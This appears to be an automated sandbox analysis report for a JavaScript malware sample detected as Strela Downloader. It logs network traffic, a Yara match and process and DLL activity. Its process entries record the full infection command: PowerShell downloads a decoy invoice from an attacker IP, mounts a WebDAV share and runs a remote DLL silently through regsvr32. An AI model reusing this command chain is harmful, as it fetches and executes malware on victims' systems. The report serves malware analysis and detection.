Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2053653335.000001C0ADBD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2120699616.000001F720B5C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120699616.000001F720B3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120699616.000001F720B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3331703551.0000020AD4A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2127466847.0000020AD4840000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5268, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1709323591581122310.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6496

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pxm0n2nw.ldm.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709323591581122310.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,16611410969298503030,8490314191894734687,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\174691252916377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,16611410969298503030,8490314191894734687,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
